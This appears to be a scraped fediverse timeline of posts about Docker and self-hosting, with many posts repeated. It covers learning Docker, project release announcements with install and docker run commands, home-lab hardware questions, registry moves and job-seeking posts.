I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅

docs.ghost.org

How To Update Ghost - Ghost Developer Docs

Learn how to update your self-hosted Ghost install to the latest version

I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:

https://docs.ghost.org/update?ref=ghost.org

I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)

I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅

docs.ghost.org

How To Update Ghost - Ghost Developer Docs

Learn how to update your self-hosted Ghost install to the latest version

@matthias@me.klein.ruhr
@arichtman@eigenmagic.net

The new Kubernetes mount-an-OCI-artifact feature got me thinking about backups, layers, data locality, and deduplication via CAS.

Imagine using image layers as snapshots and pushing images as your application's data backup. Then by specifying latest* for the volume mount it would automatically come up with eagerly-cached, local data.

I don't think CAS helps our case for storage here as a layer-snapshot mapping isn't granular enough. Of course it's not like you'd want to redesign your Postgres paging configuration entirely around a better mapping to image layers but there's something there...

Registry-side you could do periodic compaction, archival, export etc.

OCI image layers are already limited though last time I checked. Nix maps derivations (think packages) to layers and neither OCI nor the tooling were designed for that kind of blowout. Could be tackled though.

*yes yes, anti pattern. Hold ur underwear a moment.

@matthias@me.klein.ruhr

German Version (english below)

Ich habe gerade "GTS-HolMirDas" als Open Source Projekt veröffentlicht.

Ein RSS-basiertes Content-Discovery-Tool für kleinere GoToSocial-Instanzen. Es hilft dabei, die föderierte Timeline zu füllen, ohne auf traditionelle Relays angewiesen zu sein.

Was es macht:

  • Verarbeitet RSS-Feeds verschiedener Fediverse-Instanzen
  • Docker-Deployment mit simplem .env-Setup
  • Sehr ressourcenschonend (kompletter Stack mit GoToSocial + FediFetcher: ~450MB RAM)
  • Zeigt detaillierte Statistiken

Inspiriert von Alice's HolMirDas für Misskey (@aliceif), angepasst für GoToSocial mit Docker-Integration.

Repository: https://git.klein.ruhr/matthias/gts-holmirdas

Läuft bei mir produktiv und verarbeitet stündlich Content von 80 RSS-Feeds. Falls jemand sowas braucht - einfach ausprobieren.

Feedback gerne willkommen! 🚀


Just released "GTS-HolMirDas" as an open source project.

RSS-based content discovery tool for smaller GoToSocial instances. Helps populate your federated timeline without relying on traditional relays.

What it does:

  • Processes RSS feeds from various Fediverse instances
  • Docker deployment with simple .env setup
  • Very resource-efficient (complete stack with GoToSocial + FediFetcher: ~450MB RAM)
  • Shows detailed statistics

Inspired by Alice's HolMirDas for Misskey (@aliceif), adapted for GoToSocial with Docker integration.

Repository: https://git.klein.ruhr/matthias/gts-holmirdas

Running in production here, processing content from 80 RSS feeds hourly. If anyone needs something like this - just give it a try.

Feedback welcome! 🚀

#GoToSocial #SelfHosting #Fediverse #OpenSource #ContentDiscovery #RSS #ActivityPub #Homelab #Docker #SmallInstance #Federation

git.klein.ruhr

gts-holmirdas

RSS-based content discovery for GoToSocial

@matthias@me.klein.ruhr

German Version (english below)

Ich habe gerade "GTS-HolMirDas" als Open Source Projekt veröffentlicht.

Ein RSS-basiertes Content-Discovery-Tool für kleinere GoToSocial-Instanzen. Es hilft dabei, die föderierte Timeline zu füllen, ohne auf traditionelle Relays angewiesen zu sein.

Was es macht:

  • Verarbeitet RSS-Feeds verschiedener Fediverse-Instanzen
  • Docker-Deployment mit simplem .env-Setup
  • Sehr ressourcenschonend (kompletter Stack mit GoToSocial + FediFetcher: ~450MB RAM)
  • Zeigt detaillierte Statistiken

Inspiriert von Alice's HolMirDas für Misskey (@aliceif), angepasst für GoToSocial mit Docker-Integration.

Repository: https://git.klein.ruhr/matthias/gts-holmirdas

Läuft bei mir produktiv und verarbeitet stündlich Content von 80 RSS-Feeds. Falls jemand sowas braucht - einfach ausprobieren.

Feedback gerne willkommen! 🚀


Just released "GTS-HolMirDas" as an open source project.

RSS-based content discovery tool for smaller GoToSocial instances. Helps populate your federated timeline without relying on traditional relays.

What it does:

  • Processes RSS feeds from various Fediverse instances
  • Docker deployment with simple .env setup
  • Very resource-efficient (complete stack with GoToSocial + FediFetcher: ~450MB RAM)
  • Shows detailed statistics

Inspired by Alice's HolMirDas for Misskey (@aliceif), adapted for GoToSocial with Docker integration.

Repository: https://git.klein.ruhr/matthias/gts-holmirdas

Running in production here, processing content from 80 RSS feeds hourly. If anyone needs something like this - just give it a try.

Feedback welcome! 🚀

#GoToSocial #SelfHosting #Fediverse #OpenSource #ContentDiscovery #RSS #ActivityPub #Homelab #Docker #SmallInstance #Federation

git.klein.ruhr

gts-holmirdas

RSS-based content discovery for GoToSocial

@elena@aseachange.com

🏕️ my adventures in self-hosting: day 220 (roller coaster edition) 🎢

A new blog post where I discuss how sanity prevailed and I will NOT install my own Lemmy instance. But! Now I'm tempted to set up something else. Thankfully reality for now is disrupting my fanciful plans.

🔗​: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-220-roller-coaster-edition/

#MySoCalledSudoLife #Sharkey #Friendica #GoToSocial #YunoHost #Docker

news.elenarossini.com

🏕️ my adventures in self-hosting: day 220 (roller coaster edition) 🎢

Sanity prevailed and I won't set-up my own Lemmy instance. But! Now I'm tempted to install something else...

@britter@chaos.social

Just published a blog post on optimizing Gradle builds with Docker, Flyway, jOOQ & Postgres 🐘🐳🐦

I hit a weird issue where the DB started up even when everything was up-to-date. Turns out: Gradle task graphs & build services can be tricky!

Here’s how I fixed it with a cleaner setup 👇
britter.dev/blog/2025/07/22/gr

britter.dev

Optimizing Gradle Builds with Dockerized Databases, Flyway, and jOOQ

How using a custom Gradle build service and rethinking task dependencies led to faster, cleaner builds in a Java backend project using Docker, Flyway, and jOOQ.

@britter@chaos.social

Just published a blog post on optimizing Gradle builds with Docker, Flyway, jOOQ & Postgres 🐘🐳🐦

I hit a weird issue where the DB started up even when everything was up-to-date. Turns out: Gradle task graphs & build services can be tricky!

Here’s how I fixed it with a cleaner setup 👇
britter.dev/blog/2025/07/22/gr

britter.dev

Optimizing Gradle Builds with Dockerized Databases, Flyway, and jOOQ

How using a custom Gradle build service and rethinking task dependencies led to faster, cleaner builds in a Java backend project using Docker, Flyway, and jOOQ.

@cmars@infosec.exchange

Some exciting updates to share!

All stigmerge peers are now seeders -- there are no in official stigmerge releases. Sharing is caring! private routing mitigates the privacy hazards normally associated with sharing content over public networks directly.

Peers gossip with each other _constantly_, advertising themselves and discovering new neighbors -- and they store these contact lists in the DHT like a pheromone trail. So even when an original seeder is long gone and goes offline -- if just one of its last-known neighbors is online, future travelers still have a chance to join a live swarm of active peers.

Fetchers can balance downloads among multiple peers, gravitating towards the most productive ones.

It's also super-easy to run stigmerge from an OCI container now ( or as you like).

Check out the updated README for more details -- and the 0.5.6 release to try these new superpowers out for yourself!

github.com/cmars/stigmerge
github.com/cmars/stigmerge/rel

Release stigmerge-v0.5.6 · cmars/stigmerge

Install stigmerge 0.5.6 Install prebuilt binaries via shell script curl --proto '=https' --tlsv1.2 -LsSf https://github.com/cmars/stigmerge/releases/download/stigmerge-v0.5.6/stigmerge-installer.sh...

@jamie@gamerstavern.online · Reply to Jamie

Okay so this evening I finally got around to setting up some backup logic on my NAS. I have an rclone docker container which runs a “copy” command every night to backup my docker data/config directory and store it in an S3 storage bucket, and the removes itself so it doesn’t use any unnecessary resource.

It’s definitely not perfect (it might even be overly complicated), but it’ll do for now. At least I know I have some form of backup should shit hit the fan.

@CollaboraOffice@mastodon.social

Set up Collabora Online in minutes!

Watch how to set up Collabora Online on a Raspberry Pi or Linux system using the Collabora/CODE Docker image — simple and efficient.

☑️ Quick Raspberry Pi setup
☑️ Easy Docker installation
☑️ The simplicity of running Collabora Online without complex setups

🎬 Ready to get started? Watch the full guide: buff.ly/ddlzXH0

@CollaboraOffice@mastodon.social

Set up Collabora Online in minutes!

Watch how to set up Collabora Online on a Raspberry Pi or Linux system using the Collabora/CODE Docker image — simple and efficient.

☑️ Quick Raspberry Pi setup
☑️ Easy Docker installation
☑️ The simplicity of running Collabora Online without complex setups

🎬 Ready to get started? Watch the full guide: buff.ly/ddlzXH0

@jamie@gamerstavern.online

I'd like a solution to self-host services such as Vaultwarden, Immich and Home Assistant at home. I don't want to rely on cloud solutions for this so I'm thinking maybe along the lines of a Raspberry Pi for the Docker apps and a NAS for the backend storage, but I'm really clueless as what to get. I just know that I'd want something relatively simple and easy to maintain.

I'm also a bit of a Linux and Docker noob so I'm looking to get some advice and ideas from the Fedi community!

What would your suggestions be? What does your home lab setup look like?

@finestructure@mastodon.social

OrbStack is so good. It's a drop-in replacement for on with a sleek native app as a control centre.

orbstack.dev

Activity view of the OrbStack app showing a running container with metrics in the side bar resource usage: CPU, memory, network, and disk.

It’s a modern Mac app with lots of additional features like viewing container logs and connecting to a running container.
ALT text

Activity view of the OrbStack app showing a running container with metrics in the side bar resource usage: CPU, memory, network, and disk. It’s a modern Mac app with lots of additional features like viewing container logs and connecting to a running container.

@finestructure@mastodon.social

OrbStack is so good. It's a drop-in replacement for on with a sleek native app as a control centre.

orbstack.dev

Activity view of the OrbStack app showing a running container with metrics in the side bar resource usage: CPU, memory, network, and disk.

It’s a modern Mac app with lots of additional features like viewing container logs and connecting to a running container.
ALT text

Activity view of the OrbStack app showing a running container with metrics in the side bar resource usage: CPU, memory, network, and disk. It’s a modern Mac app with lots of additional features like viewing container logs and connecting to a running container.

@wezm@mastodon.decentralised.social
@UbuntuKrOrg@mastodon.social

오늘 오후 2시, 에서 리눅스를 활용한 프론트엔드 배포 환경 구축 워크샵이 열립니다!
참가 마감은 오후 1시 30분까지이니, 참가를 희망하신다면 지금도 신청하실 수 있습니다 :)

잠시 후 뵙겠습니다!

🎟️ 참가 신청 event-us.kr/m/104210/35052

event-us.kr

Ubuntu 리눅스를 활용한 프론트엔드 웹 서비스 배포 환경 구축 워크샵 - 이벤터스

Ubuntu를 활용한 웹 앱 컨테이너 생성 및 배포 방법을 시연, 실습하는 워크샵입니다.

@UbuntuKrOrg@mastodon.social

오늘 오후 2시, 에서 리눅스를 활용한 프론트엔드 배포 환경 구축 워크샵이 열립니다!
참가 마감은 오후 1시 30분까지이니, 참가를 희망하신다면 지금도 신청하실 수 있습니다 :)

잠시 후 뵙겠습니다!

🎟️ 참가 신청 event-us.kr/m/104210/35052

event-us.kr

Ubuntu 리눅스를 활용한 프론트엔드 웹 서비스 배포 환경 구축 워크샵 - 이벤터스

Ubuntu를 활용한 웹 앱 컨테이너 생성 및 배포 방법을 시연, 실습하는 워크샵입니다.

@social@social.diva.exchange

🎉 New I2Pd software release available: v2.57.0 - I2Pd is an official version of @i2p

is also reseed service provider for the network and is publishing container versions of I2P (and also ). diva is also in 2025 a sponsored partner of docker.

Github v2.57.0: github.com/diva-exchange/i2p

Docker: hub.docker.com/r/divax/i2p

Docker Hub screenshot showing the instructions on how to use the diva-i2pd docker container and hence enabling users to to access i2p and tor sites and services. https://hub.docker.com/r/divax/i2p
ALT text

Docker Hub screenshot showing the instructions on how to use the diva-i2pd docker container and hence enabling users to to access i2p and tor sites and services. https://hub.docker.com/r/divax/i2p

@mapache@hachyderm.io

Do you want to help testing @badgefed and provision your local test instance?

Easy

docker pull ghcr.io/tryvocalcat/badgefed:latest &&
docker run -v `pwd`/data:/app/data \
-p 8080:8080 \
-e SQLITE_DB_FILENAME=/app/data/badges.db \
-e AdminAuthentication__AdminUsers__0__Id=your-mastodon-username \
-e AdminAuthentication__AdminUsers__0__Type=Mastodon \
-e MastodonConfig__ClientId=your-mastodon-client-id \
-e MastodonConfig__ClientSecret=your-mastodon-client-secret \
-e MastodonConfig__Server=your-mastodon-server \
ghcr.io/tryvocalcat/badgefed

And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin

@mapache@hachyderm.io

Do you want to help testing @badgefed and provision your local test instance?

Easy

docker pull ghcr.io/tryvocalcat/badgefed:latest &&
docker run -v `pwd`/data:/app/data \
-p 8080:8080 \
-e SQLITE_DB_FILENAME=/app/data/badges.db \
-e AdminAuthentication__AdminUsers__0__Id=your-mastodon-username \
-e AdminAuthentication__AdminUsers__0__Type=Mastodon \
-e MastodonConfig__ClientId=your-mastodon-client-id \
-e MastodonConfig__ClientSecret=your-mastodon-client-secret \
-e MastodonConfig__Server=your-mastodon-server \
ghcr.io/tryvocalcat/badgefed

And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin

@mapache@hachyderm.io

Do you want to help testing @badgefed and provision your local test instance?

Easy

docker pull ghcr.io/tryvocalcat/badgefed:latest &&
docker run -v `pwd`/data:/app/data \
-p 8080:8080 \
-e SQLITE_DB_FILENAME=/app/data/badges.db \
-e AdminAuthentication__AdminUsers__0__Id=your-mastodon-username \
-e AdminAuthentication__AdminUsers__0__Type=Mastodon \
-e MastodonConfig__ClientId=your-mastodon-client-id \
-e MastodonConfig__ClientSecret=your-mastodon-client-secret \
-e MastodonConfig__Server=your-mastodon-server \
ghcr.io/tryvocalcat/badgefed

And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin

@paul@mitra.kemitix.net

git-next: 🔥 New release v2025.5.0 - Refactoring and isolating features

🧩 git-next: trunk-based development manager
🦀 Written in Rust
⭐ Repo: https://codeberg.org/kemitix/git-next

What's New

- Reimplement git operations to use git2/libgit2
- Renamed features:

forgejo -> forge-forgejo

github -> forge-github


- Extracted desktop and email notification support into non-defaults features;

notify-desktop

notify-email

This a significant update to migrate from gix to git2 for git operations. This allows us to drop the gix crate and the need to shelling-out to git for operations that gix doesn't support.

Breaking Change

If you are build from source (e.g. cargo install) and use either email or desktop notifications in your configuration file, you will need to add the appropriate feature, notify-desktop and/or notify-email. If you don't the config file will not be accepted.

The docker images are built with all features enabled.

Install

📦 cargo install git-next@2025.5.0
📦 cargo install git-next@2025.5.0 --features notify-desktop,notify-email
🐋 docker pull codeberg.org/kemitix/git-next:v2025.5.0

Run UI in docker

docker run --rm -p 8092:8092 \
  -u $(id -u):$(id -g) \
  -it \
  -v $PWD:/app \
  codeberg.org/kemitix/git-next:v2025.5.0 \
  server start --xui

#RustLang #Ratatui #Git #GitNext #OpenSource #Docker #GitHub #ForgeJo

@ngate@mastodon.social

🤖✨ Ah, finally! Because what hasn't dreamt of transforming their into standalone executable horrors?🔨👻 Now, brace yourself for terminal-induced as you navigate yet another maze that promises to "simplify" your life. 🌀🚀
github.com/rzane/docker2exe

github.com

GitHub - rzane/docker2exe: Convert a Docker image to an executable

Convert a Docker image to an executable. Contribute to rzane/docker2exe development by creating an account on GitHub.

@ngate@mastodon.social

🤖✨ Ah, finally! Because what hasn't dreamt of transforming their into standalone executable horrors?🔨👻 Now, brace yourself for terminal-induced as you navigate yet another maze that promises to "simplify" your life. 🌀🚀
github.com/rzane/docker2exe

github.com

GitHub - rzane/docker2exe: Convert a Docker image to an executable

Convert a Docker image to an executable. Contribute to rzane/docker2exe development by creating an account on GitHub.

@zef@hachyderm.io

Writing a single bash script that turns a clean install into an opinionated setup (the one that I use myself) with:

*
* as web UI for managing docker-compose stacks
* @tailscale setup to expose deployed services with TSDProxy as separate TS domains
* Restic for data backups

Anybody interested?

@zef@hachyderm.io

Services I'm currently in (managed via ):
* @silverbulletmd (notes, tasks, life)
* Miniflux (RSS reader)
* Jellyfin (local media streaming)
* Linkding (bookmarks)
* N8n (workflow automation)
* SearXNG (private search engine)
* Syncthing (sync)
* Minecraft server (for the kids)
* Calibre web (Web UI to my Calibre e-book collection)

@raphael@mastodon.communick.com

Note to developers who want to distribute images: please consider making your base image *without* the webserver first, and a separate "all-in-one" image if you want to provide something for end users.

@mrv404@mastodon.social

I've reinstalled Slackware and now I'm on "stable".
I'm trying to install docker, and I see that I need to install runc and containerd, but I'm getting this error whien trying to compile runc (I'm using sbopkg for all of these packages.
(Also, I am using alien and multilib)

Any ideas?

@blackvoid@mastodon.social · Reply to Elena Rossini on GoToSocial ⁂

@elena Well it would be best to have the exact setup, yes, just to see how it all behaves, but even if its not, and even if its deployed differently, at least you will know if there are any breaking changes.

For example a parallel deployment of 2 containers (ghost + db) will be more than enough to confirm that the new version of Ghost is working as intended with all your configurations, themes, etc. Restore your current DB content there and rest is fairly easy.

@fishingdev@me.fishingdev.com

One month has passed since I am using #selfhosted #activitypub instance 🎉. I have linux #docker compose stack with @mitra backend (#rust/#postgresql) written by @silverpill and @phanpy as my daily UI for desktop and mobile. Everything works fluent, backend memory print is really low and disk usage is about 2.3 GB as I have set data retention limit to one week and it is totally enough. I am following directly around 150 users + following 7 hashtags via https://relay.fedi.buzz/ which brings also optimal amount of federated posts into my server. Highly recommended!

relay.fedi.buzz

#FediBuzz Relay

The buzzing ActivityPub relay service

@fishingdev@me.fishingdev.com

One month has passed since I am using #selfhosted #activitypub instance 🎉. I have linux #docker compose stack with @mitra backend (#rust/#postgresql) written by @silverpill and @phanpy as my daily UI for desktop and mobile. Everything works fluent, backend memory print is really low and disk usage is about 2.3 GB as I have set data retention limit to one week and it is totally enough. I am following directly around 150 users + following 7 hashtags via https://relay.fedi.buzz/ which brings also optimal amount of federated posts into my server. Highly recommended!

relay.fedi.buzz

#FediBuzz Relay

The buzzing ActivityPub relay service

@BananaGiko_cle@felesitas.cloud
@futurile@mastodon.social

social talk this week by @paulbutgold on self-hosting @forgejo using /

His Gocix project brings the power of declarative configuration to running container services.

Details on the Wiki or register at the Meetup:

- libreplanet.org/wiki/Group:Gui

- meetup.com/guix-social/events/

@fnat

Image of the title screen of a talk. Consists of a picture of Giacomo Leidi, and the title of the talk "Self-hosting Forgejo in Guix using OCI Containers" with a sub-heading of "Declarative Docker and OCI Container Services"
ALT text

Image of the title screen of a talk. Consists of a picture of Giacomo Leidi, and the title of the talk "Self-hosting Forgejo in Guix using OCI Containers" with a sub-heading of "Declarative Docker and OCI Container Services"

@futurile@mastodon.social

social talk this week by @paulbutgold on self-hosting @forgejo using /

His Gocix project brings the power of declarative configuration to running container services.

Details on the Wiki or register at the Meetup:

- libreplanet.org/wiki/Group:Gui

- meetup.com/guix-social/events/

@fnat

Image of the title screen of a talk. Consists of a picture of Giacomo Leidi, and the title of the talk "Self-hosting Forgejo in Guix using OCI Containers" with a sub-heading of "Declarative Docker and OCI Container Services"
ALT text

Image of the title screen of a talk. Consists of a picture of Giacomo Leidi, and the title of the talk "Self-hosting Forgejo in Guix using OCI Containers" with a sub-heading of "Declarative Docker and OCI Container Services"

@changelog@changelog.social
@pandoc@fosstodon.org

TeXLive 2024 was frozen a few days ago, and this always leads to issues with the pandoc/latex Docker images. We have pushed new images for the currently supported pandoc versions 3.5 and 3.6.3, and are in the process of updating 3.2.1, too.

@andrewlock@hachyderm.io
@rasterweb@mastodon.social

Coming up on my task list is getting multiple/different containers running on a single domain using subdomains… can that work?

So app1.example.com is one Podman container and app2.example.com is a different Podman container… (both using port 80)

I’ve found this guide I might try, but if you have a better way please let me know!

➡️ redhat.com/en/blog/podman-ngin

redhat.com

How to create multidomain web applications with Podman and Nginx

Managing different applications from different domains on the same host can be difficult when using different ports. When a colleague suggested I write an ar...

@pasci_lei@social.pascal-leinert.de

Bin echt am überlegen, ob ich mit meinem Server von zurück auf gehen soll. Beim Herumprobieren mit habe ich festgestellt, dass der eine oder andere Container über Arch besser läuft als über Nix. Ich dachte erst, ich hätte bei der Konfiguration was vergessen, aber das Wiki sagt an sich Nein.

https://nixos.wiki/wiki/Docker

Während zum Beispiel ein Container über NixOS ständig crashed, läuft dieser über Arch permanent durch. Ist mir echt ein Rätsel wie das sein könnte, dürfte sich durch Docker doch eigentlich, bis auf die Hardware, nichts zwischen Betriebssystem unterscheiden, vor allem, wenn man sich was von GitHub zieht.

nixos.wiki

Docker - NixOS Wiki

@nextcloud@mastodon.xyz

Developing apps is even more rewarding with Nextcloud Hub 10! 🧑‍💻

Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via !

? ? Your choice!

🔗 Read more with other improvements in our blog:

nextcloud.com/blog/nextcloud-h

nextcloud.com

Nextcloud Hub 10 – your unified, modular digital workspace - Nextcloud

Welcome Nextcloud Hub 10 - reinforced performance, deeper integration, and dozens of new features that will make your day easier!

@nextcloud@mastodon.xyz

Developing apps is even more rewarding with Nextcloud Hub 10! 🧑‍💻

Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via !

? ? Your choice!

🔗 Read more with other improvements in our blog:

nextcloud.com/blog/nextcloud-h

nextcloud.com

Nextcloud Hub 10 – your unified, modular digital workspace - Nextcloud

Welcome Nextcloud Hub 10 - reinforced performance, deeper integration, and dozens of new features that will make your day easier!

@noim@noc.social

Bruhh, new hub limits are insane. Imagine you debug something and need to wait another hour to download an image. 10 downloads per ip is very hard.

@weltraumpoet@nerdculture.de

Hallo,

ich suche zur Zeit einen als im Raum oder
Ich bin Diplom- -er mit 12 Jahren Berufserfahrung.
Bisher arbeitete ich mit








&
, &

Auch , Gitlab- oder Azure DevOps sind mir nicht fremd. Ich bewegte mich bisher auf , , und auch ein wenig auf MacOS.

Irgendwo anzukommen und mich in einem konstruktiven Umfeld einzubringen, fände ich sehr schön.

Ich arbeite mich gerne in neue Felder ein, so würde mich unter Anderem die Embedded-Entwicklung interessieren, aber auch Sprachen wie Rust.

Ich spreche mich gern im Team ab oder lasse mich durch Kollegen in meiner Arbeit inspirieren, und bringe gerne meine Erfahrungen ein.

Auf Anfrage mit ein paar Informationen schicke ich gerne eine Bewerbung oder Ähnliches.

Vielleicht findet sich ja etwas über diese Plattform.

Vielen Dank.

@weltraumpoet@nerdculture.de

Hallo,

ich suche zur Zeit einen als im Raum oder
Ich bin Diplom- -er mit 12 Jahren Berufserfahrung.
Bisher arbeitete ich mit








&
, &

Auch , Gitlab- oder Azure DevOps sind mir nicht fremd. Ich bewegte mich bisher auf , , und auch ein wenig auf MacOS.

Irgendwo anzukommen und mich in einem konstruktiven Umfeld einzubringen, fände ich sehr schön.

Ich arbeite mich gerne in neue Felder ein, so würde mich unter Anderem die Embedded-Entwicklung interessieren, aber auch Sprachen wie Rust.

Ich spreche mich gern im Team ab oder lasse mich durch Kollegen in meiner Arbeit inspirieren, und bringe gerne meine Erfahrungen ein.

Auf Anfrage mit ein paar Informationen schicke ich gerne eine Bewerbung oder Ähnliches.

Vielleicht findet sich ja etwas über diese Plattform.

Vielen Dank.

@qiita@rss-mstdn.studiofreesia.com
@badnetmask@hachyderm.io

New blog post! Come figure out how I have configured my Forgejo runners to build my container images on my Raspberry Pi, totally self-hosted and private. I went crazy and run Docker in Docker in Docker in ... (you got the idea). There is also a bonus LXC container with Proxmox and a sprinkle of Ansible. This was a fun experiment, and I hope you enjoy it!

mteixeira.wordpress.com/2025/0

mteixeira.wordpress.com

My self-hosted Forgejo runner setup

In this (very long post) I will be demonstrating how I have setup my self-hosted Forgejo runners at home using Docker Compose, Docker-in-Docker and a bonus LXC. To demonstrate with a practical exam…

@qiita@rss-mstdn.studiofreesia.com
@quokka1@mastodon.au

For those that and have a and use something like a for , and other small projects e.g. , Bluesky, Mastodon, VPN server, , what hardware would you recommend? Budget around AUD4-500 (USD250-300), dual-NIC in case I do something routery with it later, doesn't need any wireless connectivity, not going to be connected to monitors or do any media serving/transcoding, won't be a NAS (but I reckon 512GB storage is minimum), power and noise not a problem as it'll be in a comms rack in garage (but would prefer not some huge 2U ProLiant or whatever just so it doesn't wrench it off the wall. I don't mind having "last year's" spec, or considering a refurbed SFF desktop I can load with RAM, storage and NICs.

Okay, here's something that is killing my Forgejo runner experiment: I need the perfect container image. The ones I have tried so far are missing one thing or another, and it's taking me a while to deal with that.

So, instead of trying to build my own image, let me ask the hive mind if anyone knows of a single *reliable* container image that has all of the following *already* installed: Python, NodeJS and Docker CE (or Podman).

And no, I'm not looking for a container image built buy a random guy for their own personal use. That guy could be me. I really want something that is supported as part of a larger project.

My sanity thanks you.

@adrianc@hachyderm.io

Hi!

I'm Adrian, a FullStack looking for a job either in (or from it if you allow for remote work), with a permanent and open visa

I have experience building and maintaining web apps and APIs, designing systems, doing and a bit of , and

I'm experienced using , , , , , , and ; and on the DevOps side in CI/CD pipelines (either and Gitlab CI/CD), and a bit of

I was tasked with a lot of the happening in my previous company, researching tools, librairies, patterns or general technologies either for our own or for our products

I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: blog.adrianc.eu

You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting

I’m open to full-time right now, contracting work can be discussed.

I'm looking for any developer position, not only , even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P

DM me for more info, like github link, my resume or anything :)

Boosts, responses and DM welcome, of course!

blog.adrianc.eu

AdrianC

Curiosity propelled

@adrianc@hachyderm.io

Hi!

I'm Adrian, a FullStack looking for a job either in (or from it if you allow for remote work), with a permanent and open visa

I have experience building and maintaining web apps and APIs, designing systems, doing and a bit of , and

I'm experienced using , , , , , , and ; and on the DevOps side in CI/CD pipelines (either and Gitlab CI/CD), and a bit of

I was tasked with a lot of the happening in my previous company, researching tools, librairies, patterns or general technologies either for our own or for our products

I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: blog.adrianc.eu

You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting

I’m open to full-time right now, contracting work can be discussed.

I'm looking for any developer position, not only , even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P

DM me for more info, like github link, my resume or anything :)

Boosts, responses and DM welcome, of course!

blog.adrianc.eu

AdrianC

Curiosity propelled

@devops_discussions@mastodon.social
@hollo@hollo.social · Reply to Hollo :hollo:

저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.

기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.

Docker 설정을 다음과 같이 변경해 주세요:

  • 기존 이미지 주소: ghcr.io/dahlia/hollo:latest
  • 새 이미지 주소: ghcr.io/fedify-dev/hollo:latest

이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@hongminhee@hollo.social

Sharing an important update about : we've moved our repository to a new home! If you're using Hollo with , please check this announcement:

https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd

hollo.social

The #Hollo repository has move…

